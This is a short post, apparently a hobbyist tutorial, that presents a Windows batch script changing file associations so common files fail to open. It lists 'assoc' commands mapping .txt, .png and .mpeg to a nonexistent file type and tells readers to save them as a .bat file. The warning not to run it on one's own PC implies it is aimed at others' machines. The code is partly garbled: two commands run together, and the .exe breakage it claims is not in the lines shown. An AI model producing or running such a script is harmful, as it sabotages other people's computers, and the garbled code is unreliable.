It is an Extension Changer in which,Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Below code changes the association of some extensions to filetype ‘anything' which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files would not open properly.
Warning : Don;t try this on your own pc.
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .png=anythingassoc .mpeg=anything
open notepad n paste this code and save with anything.bat (must use Bat extension)